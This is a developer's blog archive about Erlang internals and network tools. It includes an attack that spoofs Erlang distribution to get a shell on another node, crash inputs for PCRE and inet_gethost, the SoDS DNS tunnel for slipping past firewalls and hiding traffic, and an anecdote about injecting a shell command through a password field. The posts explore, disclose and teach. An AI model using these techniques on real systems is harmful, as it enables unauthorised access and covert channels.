spoof:proxy({{10,10,10,10},59000}, 590001, F).

Since the source/destination node names will not match, we will need to re-write them for this to work, but since there are no integrity checks, the process works transparently:

F = fun(in,X)  -> re:replace(X, "@ack.lan", "@ecn.lan", [{return, binary}]);
       (out,X) -> re:replace(X, "@ecn.lan", "@ack.lan", [{return, binary}]) end.

Forcing a Node to Connect to Itself

Even on a network where the attacker does not know which nodes share the same cookie, an Erlang node can always be forced to connect to itself. Since the Erlang node will use its cookie for both sides of the authentication, it will, of course, succeed. The attacker will only need to rewrite the node names. e.g., if ecn.lan thinks it's talking to ack.lan:

1> F = fun(in,X)  -> re:replace(X, "@ecn.lan", "@ack.lan", [{return, binary}]);
1>     (out,X) -> re:replace(X, "@ack.lan", "@ecn.lan", [{return, binary}]) end.
2> spoof:proxy({IP, Port}, ProxyPort, F).

erl -name r@nul.lan -remsh n@ack.lan
1> os:cmd("hostname").
"ecn.lan\n"

This would work, for example, against a user connecting from a laptop to a node using erl -remsh or doing a etop:start([{node, 'node@example.com'}]). (It's worth mentioning as well, since I've never seen it discussed, that if you connect in to a distributed Erlang node, everybody who's authenticated to connect to that node has complete access to your workstation as your uid.)

"Legitimate" Uses

spoofed could be used as an example for creating an epmd that provides some protection against remote nodes abusing it and for creating Erlang distribution proxies. An Erlang distribution proxy could potentially have these advantages:

listens only to a single port
authentication mechanisms (GSS-API, SSL, etc)
could allow creating sandboxes by parsing the distribution messages

When the Bugs Have Bugs

2010-03-09T16:01:00.000-05:00

A few months ago, I found this. Compiling a regular expression would crash beam.

N = 819,
re:compile([lists:duplicate(N, $(), lists:duplicate(N, $))]).

After going through a bit of effort, I figured out how to compile a debug version of beam. And then, of course, I discovered the clever minds behind Erlang have already thought about this and made it easy. Essentially, after compiling Erlang:

# Recommended if you are a vi user
# Yes, the debugger forces you to use emacs
cat >> ~/.emacs
(setq viper-mode t)
(require 'viper)
^D

export ERL_TOP=$(pwd)
cd erts/emulator
make debug FLAVOR=plain # or smp
cd ~-
bin/cerl -debug -gdb # -smp

After reading through the source code and adding a few printf's, I tracked the bug down to an incorrect test in PCRE. The magic number (819) apparently comes from:

819 x 5 bytes (capturing bracket) + 3 bytes (opening bracket) = 4098 bytes

The compile workspace is 4096 bytes, so there is a 2 byte overflow. Well, today Phillip Hazel, the author of PCRE, corrected the bug. Awesome!! Thanks, Phillip!
So here I am making the world safer one bug at a time, preparing a patch for Erlang. Except when I went to test the fix on Mac OS X, beam crashed. Ouch. This time:

% works!
N = 611,
re:compile([lists:duplicate(N, $(), lists:duplicate(N, $))]).

% booo! crashes!!
N = 612,
re:compile([lists:duplicate(N, $(), lists:duplicate(N, $))]).

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xb014effc
[Switching to process 3601]
0x001c04e4 in compile_branch (optionsptr=0x0, codeptr=0x0, ptrptr=0x0, errorcodeptr=0x0, firstbyteptr=0x0, reqbyteptr=0x0, bcptr=0x0, cd=0x0\
        , lengthptr=0x0) at pcre_compile.c:2355

Except, beam didn't crash when running inside gdb. I figured out the debug beam was non-smp and, after compiling a debug smp version, I got the longest backtrace EVAH.

Yet the same code works with an SMP Erlang on Solaris.
Blah, debugging threaded code is a pain. If someday, someone figures out how to do something malicious with this, please send me a postcard from whatever island retreat you've purchased with all your stolen credit cards or DoS extortions.

Erlang and Excessively Long Hostnames

2010-02-15T13:48:00.000-05:00

I've been reading through the Erlang source code, trying to get familiar with it and looking for small bugs.
inet_gethost is a port that handles name lookups. The source code for it is in:

$ERL_TOP/erts/etc/common/inet_gethost.c

inet_gethost is suprisingly complicated, mainly because of portability concerns and probably due to age as well (the code looks to be about 10+ years old). inet_gethost works by starting up a master process that forks a pool of slave processes and waits for data coming from stdin. When it reads a packet from the Erlang side, it sends the data to the slave over a pipe. The slave does a gethostbyname() (or the IPv6 equivalents), blocking in the lookup, then writes the response.
Setting the environment variable "ERL_INET_GETHOST_DEBUG" will print out some extra debug messages. The values in the code range from 0 (debug disabled) to 5:

export ERL_INET_GETHOST_DEBUG=5
erl

To test how inet_gethost handles some simple edge cases, we run the following:

1> inet:gethostbyname(lists:duplicate(3,"n")).
inet_gethost[4924] (DEBUG):Saved domainname .
inet_gethost[4924] (DEBUG):Created worker[4925] with fd 3
inet_gethost[4924] (DEBUG):Saved domainname .
inet_gethost[4925] (DEBUG):Worker got request, op = 1, proto = 1, data = nnn.
inet_gethost[4925] (DEBUG):Starting gethostbyname(nnn)
inet_gethost[4925] (DEBUG):gethostbyname error 1
{error,nxdomain}

Increasing the number of characters in the domain name reveals something interesting:

4> inet:gethostbyname(lists:duplicate(100000,"n")).
inet_gethost[4924] (DEBUG):Saved domainname .
inet_gethost[4924] (DEBUG):Saved domainname .
inet_gethost[4924] (DEBUG):reap_children: res = -1, errno = 10.
inet_gethost[4924] (DEBUG):End of file while reading from pipe.
inet_gethost[4924]: WARNING:Malformed reply (header) from worker process 4925.
inet_gethost[4924] (DEBUG):Killing worker[4925] with fd 3, serial 4
{error,timeout}

On Mac OS X, the CPU usage for inet_gethost shoots up as well.
The weird error ("Malformed reply ...") happens because the slave process crashes. If you look at the two outputs, the error message that should be displayed after "Saved domainname." ("Worker got request ...") is never printed. That's because of an overflow that happens when the debug output is printed (buff is only 2048 bytes):

static void debugf(char *format, ...)
{
    char buff[2048];
    char *ptr;
    va_list ap;

    va_start(ap,format);
    sprintf(buff,"%s[%d] (DEBUG):",program_name,(int) getpid());
    ptr = buff + strlen(buff);
    vsprintf(ptr,format,ap);
    strcat(ptr,"\r\n");
    write(2,buff,strlen(buff));
    va_end(ap);
}

Replacing vsprintf() with vsnprintf() fixes that bug, but inet_gethost will still crash on Mac OS X Snow Leopard.
Writing a small program to call gethostbyname() on Mac OS X proves it is not an Erlang bug:

Looks like a bug in gethostbyname() on Mac OS X Snow Leopard, while doing a multicast DNS lookup:

Feb 15 12:42:48 ack mDNSResponder[18]:  77: ERROR: read_msg - hdr.datalen 70001 (11171) > 70000
Feb 15 12:42:48 ack ./gho[4852]: dnssd_clientstub write_all(4) failed -1/70028 32 Broken pipe
Feb 15 12:42:48 ack ./gho[4852]: dnssd_clientstub deliver_request ERROR: write_all(4, 70028 bytes) failed
Feb 15 12:42:48 ack ./gho[4852]: dnssd_clientstub write_all(4) failed -1/28 32 Broken pipe

Erlang Ternary Operators

2010-02-07T16:31:00.000-05:00

tidier came up with a cool suggestion for some code. One of the case statements:

Valid = case makesum(Hdr) of
    0 -> true;
    _ -> false
end,

was replaced with:

Valid = makesum(Hdr) =:= 0,

Maybe it's succintness at the expense of readability but I liked it.
Sometimes, when I'm programming in Erlang, I miss the C style ternary operators. You know, the ones that look like this:

i = ( (i == 0) ? 1 : 0);

It's an easy way of toggling between values. In Erlang, if you want to flip between true and false, you could write it as:

NewValue = case Value of
    true -> false;
    false -> true
end

But the tidier way reveals a simpler version:

NewValue = Value =/= true

The new version isn't semantically identical to the old version though.

true = foo =/= true

The old version would throw a case_clause exception if value were 'foo'. In both cases, the value of "Value" may already be controlled with guards, so it may be ok.

SoDS and TXT Records

2010-01-26T09:24:00.000-05:00

Sometimes the sods client (sdt) will return an error "Invalid base64 encoded packet". If run with the default options, sdt will use TXT records and it's likely that someone, in between you and the sods server, is re-writing the TXT records.

In this particular case, it might be the DNS hosting service that I used for the test domain (GoDaddy) inserting an SPF record. Thanks a bunch for that.

But I've seen hotel networks where TXT records are MITM'ed, for some sort of nefarious Active Directory scheme.

Anyway, the fix is to run sdt with the "-t" flag set to use NULL or CNAME records ("-t null" or "-t cname").

wwallo is a tag cloud for where you are

2010-01-25T20:03:00.000-05:00

wwallo uses the HTML5 geolocation capabilities of your browser to generate a tag cloud for wherever you are (or, at least, where it guesses you are). Right now, wwallo gathers data just by looking at Twitter; in my experience that means your location is marked by people bitching about work and school, dropping the f-bomb, bragging about how drunk they've gotten or will get and trying to be clever (twitter "trends"). Also, celebrity gossip. Awesomeness. But maybe it's just where I live.

So, beside the insight into that little slice of life outside your dark, linux infested man cave and creeping on the cute neighbourhood girls (not that I condone such behaviour, you perv o.O), what is wwallo useful for? Aside from marvelling at the inaccuracy of Twitter's geographic data and meditating on the 504's resulting from their "RESTful" API?

wwallo, like a lot of web applications nowadays, is just a bunch of (well, 2, sort of) RESTful interfaces exposed as an API that a Javascript application calls ("exposes" an API is sort of funny, teetering between jargon and a criminal warrant for indecent usage). The application, in this case, runs in a browser.

Well, you can see for yourself. I'll wait.

It's pretty simple, isn't it? None of the complications you've probably been dreading if you've worked with any enterprise web applications <cough>SOAP<cough>. The interfaces are simple and predictable, therefore safer. With many web apps, even the developer can't tell you all the paths for input and output of data (hence, the need for tools like LAPSE in the Java world (BTW, check out the URL for LAPSE, that username is awesome and inspires, in me, just a bit of jealousy)).

You can try out wwallo yourself by visiting the website. It's running on a test server for now but maybe someday it'll move to somewhere permanent.

Using wwallo's RESTful Interface

If for some insane reason you want to integrate your web application with wwallo, it's simple. Given the user's location, use a GET request:

http://wwallo.com/geocode/<lat>,<lon>,<radius>km

The radius must be in kilometers (don't even ask, just multiply by 1.6 already).

If you don't know the user's location, you can call into wwallo using the following and wwallo will figure out the location by the IP address:

http://wwallo.com/geocode/null,<radius>km

But if you're proxying the user's request from your service, well, you've just made a tag cloud for wherever your server, not your user, is.

wwallo will return a JSON data structure. The beauty of webmachine is that it can, very simply, be made to return any presentation format; however, at the moment, wwallo only returns JSON.
"pos" is the location based on your IP address. "address" is, obviously, the source IP address. "tweet", "author" and "image" are arrays, sharing a common offset. "count" contains each word, after processing through a stemming library.

{
    "pos": "45.000000,-69.500000,5km",
    "address": "1.1.1.11",
    "country": "Antartica",
    "city": "Penguinistaville",
    "tweet": [
        "What am I going to spend my Saturdays doing now that college football is done??",
        "@SI_PeterKing dick butkis still my fav name! http://myloc.me/2KNBX",
        "@SI_PeterKing I the ray guy sent u that tweet using a different name! Lol http://myloc.me/2KNqq",
        "I bought my 1st snow shovel today. Not really sure how I feel about that.",
    ],
    "author": [
        "clint_on_barley",
        "Botha420",
        "Botha420",
        "clint_on_barley",
    ],
    "image": [
        "http://a1.twimg.com/profile_images/579214364/Photo_on_2009-11-23_at_10.20__5_normal.jpg",
        "http://a1.twimg.com/profile_images/280041192/1041_normal.gif",
        "http://a1.twimg.com/profile_images/280041192/1041_normal.gif",
        "http://a1.twimg.com/profile_images/579214364/Photo_on_2009-11-23_at_10.20__5_normal.jpg",
    ],
    "count": {
        "that": "5",
        "be":"2",
        "big":"2",
        "know":"2",
        "love":"2",
        "not":"2",
        "1st":"1",
        "abl":"1",
        "about":"1",
        "after":"1",
        "appear":"1",
        "appl":"1",
        "around":"1",
        "becom":"1",
    }
}

In conclusion, wwallo allows you to voyeuristically live your life through the lives of others who aren't leading very interesting lives either. Maybe the next version of wwallo should be a tagcloud for where you want to be, geocoordinates set to Tahiti.

And did I mention that webmachine and jQuery are freaking awesome?

Continuing the procket clean up

2010-01-11T16:17:00.000-05:00

Some small changes to procket. If you're playing along at home, the changes don't affect the procket:listen/1 and procket:listen/2 interface.

The procket NIF now requires the elements to be acted on (the path to the Unix socket and/or the file descriptor of the listener on the Unix socket) to be explicitly passed. The Erlang code must track the path to the Unix socket, the fd listening on the Unix socket and the privileged socket returned from procket_cmd.

Since the procket NIF does not internally track any state or allocate memory, it can handle multiple file desciptors up to the process' resource limits.

The changes from the commit message:

open/2 -> open/1 : vestigal protocol arg removed, stick to streams. Erlang module changed to match (along with the bizarre passing in of the port as a protocol, who did that? o_O)

Returns the socket descriptor listening on the Unix socket: {ok, FD}

poll/0 -> poll/1 : takes the socket descriptor, returns {ok, Socket}

close/0 -> close/2 : close(SocketPath, SocketDescriptor), closes the socket descriptor and deletes the socket path, returns "ok"

Sockets with Privileges, or Avoiding Setuid Erlang

2010-01-09T23:12:00.000-05:00

There are a few things which require, or at least are easier to handle, in process: PAM, GSS-API, file descriptors .... While it may be possible to handle these using a separate process, like an Erlang port, it's more comfortable to handle it within the virutal machine. Previously, the only way to do this would have been by using a linked-in driver; though I haven't tried writing one, they have the reputation of being complex and error prone, an easy way of reducing the reliability of the Erlang VM.

With the introduction of the Erlang NIF interface, there now exists a simple, though synchronous, method of interfacing with C libraries. Using the NIF interface is pretty easy.

One of the problems with using a virtual machine is dealing with actions that require heightened privileges. In a standalone program, you would simply run as root, do whatever needs to be done as root, then drop your privileges. With a language running in a virtual machine, the VM does way too much before your code would be able to drop its privs. The result is unpredictable.

Ways of Handling Privileged Sockets

One example is requesting a socket on a low port.

For completeness, there are many ways of handling privileged sockets without resorting to setuid:

Use the firewalling capability of the OS, like iptables, to forward packets from the low port to the unrestricted port on which your application is running.
Use a separate device, like a load balancer, router, or firewall, to forward packets from the low port to your service.
Run an application in userspace that binds the low port and forwards packets; this could be a dedicated proxy like squid or nginx or a small shim like socat.
Run as root. All the power of Erlang combined with complete system access! What could go wrong?

For certain tasks, this may be the way to go though. It'd be interesting (and very likely awesome) to see a version of cfengine (or puppet or chef) written in Erlang.

There may be times that doing any of the above is not too convenient. procket provides a way for the Erlang VM to grab a privileged socket without too much hassle.

procket consists of an NIF shared library and a setuid executable. On Unix systems, file descriptors are allowed to be passed between processes using local (Unix) domain sockets. procket works by creating a local domain socket from within the Erlang VM using an NIF, listening on the socket, then spawning a setuid exectuable that binds the privileged socket. The setuid executable then drops its privs and passes the file descriptor back to the VM over the local socket.

To handle the actual setup of the local domain sockets, I used libancillary (which quite rightly bills itself as "black magic on Unix domain sockets").

The Erlang NIF

The NIF consists of a C file that is compiled into a shared library and an Erlang module to load the library. The NIF interface is setup using a macro:

ERL_NIF_INIT(procket, nif_funcs, load, reload, NULL, NULL)

The first argument is the name of the module to be called from within Erlang. The second argument points to the struct holding our exports. In this case:

static ErlNifFunc nif_funcs[] = {
        {"open", 2, sock_open},
        {"poll", 0, poll},
        {"close", 0, sock_close}
};

The export "open" in the procket module, called with an arity of 2, calls our C function sock_open.

The NIF can optionally call other functions based on certain events (as defined in the ERL_NIF_INIT() macro), such as on load, upgrade, etc. I've only handled load and reload to allocate memory for the data structures.

NIF's can hold state. While it would be more predictable and safer to require arguments to be returned and passed in again on each function call (the NIF holds the file descriptor and path to the Unix socket), for expediency, I didn't do it. And even in this small example, it led to a few annoying bugs. Let that be a lesson.

The module interface has three actions: open, poll and close.

"open" takes a path (a string) to the location of the Unix domain socket and a port number. For safety, the socket should probably reside somewhere only the user running the Erlang VM has access to (by default, the socket will be placed under a directory in /tmp or wherever you have TMPDIR set to). On some platforms, Unix sockets are created with mode 777, which could lead to hijinks on multi-user systems.

"open" creates the Unix socket, sets the socket to non-blocking, then listens on it.

"poll" attempts to accept a connection on the Unix socket. If there is a connected client, it will receive the message (our file descriptor) and return a tuple in the format {ok, FD}.

"close" removes the socket and cleans up the data structure and pipe file descriptor.

The socket path and Unix socket file descriptor are stored in a data structure within the NIF, so the caller doesn't need to provide them when using poll() or close(). Arguably, both poll() and close() should have an arity of 2 as well (path, pipe file descriptor); that way the module would be stateless and would be able to handle as many sockets as required by the program. Probably a mistake that should be corrected in the future.

The Setuid Binary

procket_cmd.c is spawned from the procket Erlang module with root privileges, using setuid or sudo. It essentially does:

parses command line arguments (potentially dangerous since we are parsing user input and performing actions, such as memory allocation, based on it)
opening the socket and performing any additional operations required by the protocol
dropping our privileges
connecting to the Unix socket and writing the socket file descriptor
exiting

On error, the "procket" command will print out some debug output.

The Erlang Module

The Erlang module's interface mirrors the C NIF: open/2, poll/0 and close/0. To make it easier to use, these exports are wrapped by listen/1 and listen/2.

listen(Port) ->
    listen(Port, []).
listen(Port, Options) when is_integer(Port), is_list(Options) ->
    Opt = case proplists:lookup(pipe, Options) of
        none -> Options ++ [{pipe, mktmp:dir() ++ "/sock"}];
        _ -> Options
    end,
    ok = open(proplists:get_value(pipe, Opt), Port),
    Cmd = make_args(Port, Opt),
    case os:cmd(Cmd) of
        [] ->
            poll();
        Error ->
            {error, procket_cmd, Error}
    end.

listen/2 composes the command line for the procket binary, atomically creates a unique path for the Unix socket if one was not provided (to prevent symlink race conditions), runs the setuid executable then polls the Unix socket.

Preparing command line arguments to be passed to an executable is, admittedly, pretty ugly and risky, in a sort of retro, pre-millenial CGI sort of way. Passing the arguments from the program is fine, but allowing any sort of user input is just nasty. I once hacked a web app by putting a ";some command here" into the password field of an account signup (account details, I discovered, were set up by running a command in the shell).

An Example

Here's how you would use procket:

$ cd procket
$ erl -pa ebin
Erlang R13B03 (erts-5.7.4) [source] [rq:1] [async-threads:0] [hipe] [kernel-poll:false]

Eshell V5.7.4  (abort with ^G)
1> {ok, FD} = procket:listen(53, [{progname, "sudo priv/procket"},{protocol, udp}]).
{ok,9}

netstat should display a socket listening on port 53/udp.

2> {ok, S} = gen_udp:
open(53, [{fd,FD}]).
{ok,#Port<0.929>}

gen_udp:open/2 and gen_tcp:listen/2 both take a file descriptor as an option.

3> receive M -> M end.

Use netcat to send some data to the Erlang process:

nc -u localhost 53
blah
^C

At your Erlang prompt, you should see something like:

{udp,#Port<0.929>,{127,0,0,1},47483,"blah\n"}

There is also an example of an echo server using procket in the source, see the README.

At any rate, I hope this will be marginally useful to other Erlang n00bs. In the future, I am going to play with setting socket options and requesting raw sockets. This will allow creating ICMP packets, like ping, within Erlang, as well as doing some packet manipulation.

SoDS and Domain Names

2010-01-04T17:25:00.000-05:00

As an experiment in further obscuring traffic, I made a small change to the sods client and server to take multiple domain names from the command line. The maximum number of domains is hard coded to 256, just because.

The domain names can either be subdomains, if you have only one domain (e.g., sshdns.p1.example.com sshdns.p2.example.com ...) or unique domains (e.g., sshdns.p.example1.com sshdns.p.example2.com sshdns.p1.example2.com).

The sods server needs to be started with the same list of domains (e.g., p.example1.com p.example2.com p1.example2.com) or the DNS requests will be rejected. If you want to disable this behaviour, start the sods server with the domain name set to "any". (The sods server checks the domain name to prevent it from answering to DNS scans, otherwise it wouldn't be too stealthy. Of course, if someone knows your domain name, they can easily scan for sods, spoof requests, etc.).

I wonder if DNS servers ever throttle by domain. It would make more sense to restrict queries by client IP address, though even this could be worked around on a non-switched network, like most public wifi internet access, by ARP'ing fake MAC/IP addresses, sending out UDP packets from these IP's and sniffing the responses. On a switched network, the same effect is achievable in tandem with ettercap. Maybe a future feature to think about.

SoDS; Care and Feeding of,

2009-12-30T14:44:00.000-05:00

SoDS provides a covert method of bypassing firewall restrictions, obscuring traffic analysis and hiding your data by tunnelling it over DNS. SoDS was intended to be small, resource efficient, reasonably portable with few dependencies (at least on Unix) as well as taking basic precautions against misuse.

Test Ride

To get a feel for sods, its simple to try out:

git clone git://github.com/msantos/sods.git
cd sods/sods
./configure
make
cd ../sdt
./configure
make

Depending on your OS, you might need to adjust the Makefiles.

To test sods, you'll need to have an SSH server available somewhere and root privs on your test host. Start up the socket server:

$ sudo ./sods -d /tmp -L localhost:22 -vvv a.example.com

In another window, open an SSH session:

$ ssh -o ProxyCommand="./sdt -r 127.0.0.1 sshdns.a.example.com" 127.0.0.100

Real World SoDS

To use sods, you'll need a few things:

A publicly addressable IP
Something on which to run sods. The server doesn't need to be dedicated or high powered.
A registered domain name
A DNS server to host your domain

Well, that may seem to be waaaayyy too much bother, but it might not be as much work as it seems.

Publicly Available IP Address

You need an IP address that is reachable from the Internet or control of a device that can forward packets to your sods server.

The IP addresses the ISP assigns you tend to fall into 3 groups:

the IP address is static and never (or rarely) changes
the IP address changes infrequently, but the reverse lookup for the address is static
the IP address and, consequently, the reverse address, changes frequently

You can work with any of these.

The IP address must be able to receive UDP packets on port 53 and send packets from port 53. If your ISP blocks port 53 (DNS), then you'll have to look around for another ISP, use a hosted service or maybe piggyback off of a friend.

A SoDS Server

You'll need sods to be running any time you might need it. SoDS doesn't require much in the way of resources, so I suggest using a low powered server that you can leave running all the time. The SoDS server might be the same device that you use for your gateway.

I use a Linksys WRT54gl as my home router and sods server. But any small, lower power device will do: I've also used a Linksys NSLU2, and, more recently, a Sheeva Plug.

A Registered Domain Name

If you're even thinking about setting this up, you probably already own a domain or two.

Another DNS Server

Finally, you will need another DNS server to delegate your domain name. This could be a DNS server you run on another IP address, a service provided by your registrar or one of the many free DNS services on the internet (there are a bunch, any of them should work, google for them).

Assuming your domain name is example.com with an IP address of 10.10.10.10, here is what you would have to set up.

If you have a static IP address (or one that doesn't change too frequently to be inconvenient), delegate a name server for a subdomain (in this example, "a"):
```
example.com.    IN  A   10.10.10.10
a               IN  NS  example.com.
```
Some ISP's will change your IP, but maintain a consistent reverse DNS lookup for your IP address (something like a DHCP name). You can use this by setting a CNAME.

For example, if your IP address always resolves to:
```
macaddr-00-00-aa-bb-cc-dd.home.isp.com
```
You could set up your DNS entry as follows:
```
a.example.com.  IN  CNAME   macaddr-00-00-aa-bb-cc-dd.home.isp.com.
```
Finally, if your ISP gives you a dynamic IP address, you can use one of the dynamic DNS services. Many of these services are free and will provide a consistent reverse DNS entry that you can exploit as with the previous example.

Set Up Your SoDS Server

Set up your sods server and point it to whatever SSH or tcp servers you're interested in. These servers don't have to be publicly exposed; they could be running somewhere behind your firewall.

SoDS is configured from the command line, but its easy to wrap it in a script for system startup. Here is an example for OpenWRT:
/etc/default/sods:

OPTIONS="-D -L ssh.server1:22 -L ssh.server2:22 -L 65.55.21.250:22"
DOMAIN="a.example.com"

/etc/init.d/sods:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org
START=50

BIN=sods
DEFAULT=/etc/default/$BIN
CHROOT_D=/var/chroot/sods

start() {
include /lib/network
scan_interfaces
config_load /var/state/network
config_get ipaddr wan ipaddr

[ -f $DEFAULT ] && . $DEFAULT
[ ! -d $CHROOT_D ] && mkdir -p $CHROOT_D

$BIN $OPTIONS -i $ipaddr $DOMAIN
}

stop() {
killall sods
}

Accessing Your DNS Tunnel

So next time you are enjoying a venti americano in your local coffee shop, you may think to pause from chatting with the cute barista to fire up your laptop or other mobile device and login to IRC. We're geeks, it happens.

$ ssh -o ProxyCommand="./sdt sshdns.a.example.com" 127.0.0.100

Since UDP is innately unreliable, for best results, wrap the ssh command in a script that reconnects on failure. On the server side, if you are using ssh, running everything within a GNU screen session provides seamless access to your console, in case your connection drops. See the example scripts for more details, but basically, all you need to do is use a named GNU screen session on your ssh server:

$ while [ "1" ]; do ssh -t -C -o ProxyCommand="./sdt sshdns.a.example.com" 127.0.0.100 "screen -drR sshdns"; done

SoDS Client

sdt will try not to overwhelm the local DNS server and will back off. Some DNS servers throttle chatty clients.

To add some reliability to the protocol, both the client and server track sent packets and will re-send if they are lost.
If you are having problems connecting, run with multiple "-v" switches to see what's going on. It'll fill your screen with debug messages but will eventually stop. To control the number of debug messages displayed, use the "-V" switch (it defaults to 100).
You can bounce your connection off of other DNS servers, beside your local DNS server, if they support recursion by using the "-r" flag. To see which servers sdt knows about, run:
```
sdt -v -h
```
To use a particular recursive server, choose it by name:
```
sdt -r google
```
To pick a random server, run:
```
sdt -r random
```
sods supports tunnelling using TXT, CNAME and NULL records. The default is TXT records. I've found that some ISP's re-write TXT records and many DNS servers in the wild do not support NULL records at all. Using CNAME's seems to work with most networks.

NULL records have the lowest encoding overhead and the specification allows for a large packet size, reducing overhead further. Since sods does not support TCP, large packets aren't supported.
If you are on a mobile device, you probably want to conserve your battery. sdt polls for data at regular intervals by sending a request to the local DNS server to flush any pending data from your SoDS server.

You can control this polling (without much effect on latency) by using the "-b" option. Every time data is received polling ramps up and slowly decays as no new data is recieved.

If you happen to be on linux, powertop is a great tool for fine tuning the polling intervals.
Files can be transferred securely over DNS by using sftp, see the "sdftp" script in the examples. If you're brave, you can also run a fuse filesystem using sshfs.

epcap: An Erlang Packet Sniffer

2009-12-03T21:04:00.000-05:00

In the last entry, I talked about using erlang ports to pass messages between a Unix and an Erlang process. The data was encoded using the ei library.

As we saw, parsing the packets in C isn't hard: we cast the packet to the header structures. For example, to get the source address of the packet, we would do:

struct *iph = NULL;
const u_char *pkt; /* the packet given to us by pcap */
struct in_addr src;

iph = (struct ip *)(pkt + sizeof(struct ether_header));

src = iph->ip_src;

Erlang has a reputation for elegant and robust binary parsing. Is that true?

Parsing the ethernet header from a packet looks like this:

ether(<<Dhost:6/bytes, Shost:6/bytes, Type:2/bytes, Packet/binary>>)

We specify bytes for convenience (the default is bits). Each variable corresponds to the C structure found in net/ethernet.h.

#define ETHER_ADDR_LEN      6

struct  ether_header {
    u_char  ether_dhost[ETHER_ADDR_LEN];
    u_char  ether_shost[ETHER_ADDR_LEN];
    u_short ether_type;
};

The binary is stored in a record:

-record(ether, {
dhost, shost, type, crc
}).

We return a tuple containing the header and the payload.

ether(<<Dhost:6/bytes, Shost:6/bytes, Type:2/bytes, Packet/binary>>) ->
Len = byte_size(Packet) - 4,
<<Payload:Len/bytes, CRC:4/bytes>> = Packet,
{#ether{
dhost = Dhost, shost = Shost,
type = Type, crc = CRC
}, Payload}.

We follow the same pattern for IPv4, TCP, UDP and ICMP. I took the code from an old project to write an Erlang TCP/IP stack, so the implementation is incomplete and very likely buggy, but it's good enough for demonstration purposes. I'll clean it up over time.

Finally, we have a port, a port driver and a parser. We can put the pieces together quickly.

start(L) ->
epcap:start(L),
loop().

loop() ->
receive
[{time, Time},{packet, Packet}] ->
try epnet:decapsulate(Packet) of
P -> dump(Time, P)
catch
error:Error ->
io:format("~s *** Error decoding packet (~p) ***~n~p~n", [timestamp(Time), Error, Packet])
end,
loop();
stop ->
ok
end.

timestamp(Now) when is_tuple(Now) ->
iso_8601_fmt(calendar:now_to_local_time(Now)).

iso_8601_fmt(DateTime) ->
{{Year,Month,Day},{Hour,Min,Sec}} = DateTime,
lists:flatten(io_lib:format("~4.10.0B-~2.10.0B-~2.10.0B ~2.10.0B:~2.10.0B:~2.10.0B",
[Year, Month, Day, Hour, Min, Sec])).


dump(Time, [Ether, IP, #tcp{} = Hdr, Payload]) ->
io:format("~s =======================================~n", [timestamp(Time)]),
io:format("SRC:~p:~p (~s)~nDST:~p:~p (~s)~nFlags [~p] seq ~p, ack ~p, win ~p, length ~p~n", [
IP#ipv4.saddr, Hdr#tcp.sport, string:join(epnet:ether_addr(Ether#ether.shost), ":"),
IP#ipv4.daddr, Hdr#tcp.dport, string:join(epnet:ether_addr(Ether#ether.dhost), ":"),
epnet:tcp_flags(Hdr),
Hdr#tcp.seqno, Hdr#tcp.ackno, Hdr#tcp.win,
byte_size(Payload)
]),
io:format("~s~n", [epnet:payload(Payload)]).

Note that I hardcoded the chroot directory and the default options. Running the above from the shell will display something like this:

2009-12-02 22:14:46 =======================================
SRC:{207,97,227,239}:80 (0:16:B6:xx:xx:xx)
DST:{192,168,1,100}:59341 (0:1C:B3:xx:xx:xx)
Flags ["ack"] seq 3306458405, ack 3526830431, win 46, length 492
HTTP/1.1 301 Moved Permanently..Server: nginx/0.7.61..Date: Thu, 03 Dec 2009 03:14:46 GMT..Content-Type: text/html; charset=utf-8..Connection: close..Status: 301 Moved Permanently..Location: http://github.com/dashboard..X-Runtime: 0ms..Content-Length: 93..Set-Cookie: _github_ses=BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--884981fc5aa85daf318eeff084d98e2cff92578f; path=/; expires=Wed, 01 Jan 2020 08:00:00 GMT; HttpOnly..Cache-Control: no-cache

Occasionally, sniff will have an error parsing a packet. I haven't looked too deeply into this as yet. Check github, maybe it's already been fixed. I'll be cleaning up the code over the next few days.

So what's next for epcap? It'd be interesting building a monitoring system around Erlang or an intrustion detection system. Erlang's pattern matching would be awesome for signatures. Combining epcap with an Erlang libnet port could be the basis of a very cool vulnerability scanning engine; combined with erlang's seamless distribution, excellent web servers and frameworks, and distributed databases, it could certainly be the basis for something remarkable.

An Erlang Packet Sniffer Using ei and libpcap

2009-12-03T19:24:00.000-05:00

After testing the erlang nif interface, I thought I'd try the ei library. ei is a way of serializing terms between Erlang and ports. Whereas nif is a function interface and is thus blocking, ports treat external processes as an Erlang process and so can use asynchronous message passing for communication.

Some packet dump utilities for Erlang already exist using linked in drivers and the Linux raw socket interface. It should be possible, as well, to use tcpdump as a port, although that involves a lot of text parsing.
epcap is a standalone binary written in C, using the pcap packet capture library. I'll go through building epcap in two parts: making a port in C and parsing the packets in Erlang. If you just want to start playing with epcap, you can get it from github. It's just a beginning, but it should be work.

If you are interested in the ei libary, I suggest reading the excellent tutorial on trapexit first.

Creating a port is a bit more work than using nif's. Since a port is just a system process, we have to handle all the bookkeeping ourselves. The way the epcap process works is as follows:

start with root privileges
parse command line arguments
open the pcap device
drop root privileges
loop and read packets
convert packets into Erlang binary term format and write to stdout

epcap does not receive any messages from the Erlang process. As a convenience, we have epcap fork, with the parent blocking on stdin, so that the epcap process will exit gracefully when the Erlang node closes the port.

To dump packets, we do the following:

open the pcap device
set a filter for the device and other initialization
read one packet from the device, process it and loop

Opening the pcap device involves retrieving a default interface to sniff, if one hasn't been specified (on Mac OS X, it seems to almost always pick the wrong interface) and returning a pcap handle. After the device has been opened, we can drop root privileges.

pcap_t *
epcap_open(char *dev)
{
    pcap_t *p = NULL;
    char errbuf[PCAP_ERRBUF_SIZE];

    if (dev == NULL)
        PCAP_ERRBUF(dev = pcap_lookupdev(errbuf));
    PCAP_ERRBUF(p = pcap_open_live(dev, SNAPLEN, PROMISC, TIMEOUT, errbuf));

    return (p);
}

Initializing the device involves compiling and setting a filter:

int
epcap_init(EPCAP_STATE *ep)
{
    struct bpf_program fcode;
    char errbuf[PCAP_ERRBUF_SIZE];

    u_int32_t ipaddr = 0;
    u_int32_t ipmask = 0;


    if (pcap_lookupnet(ep->dev, &ipaddr, &ipmask, errbuf) == -1) {
        VERBOSE(1, "%s", errbuf);
        return (-1);
    }

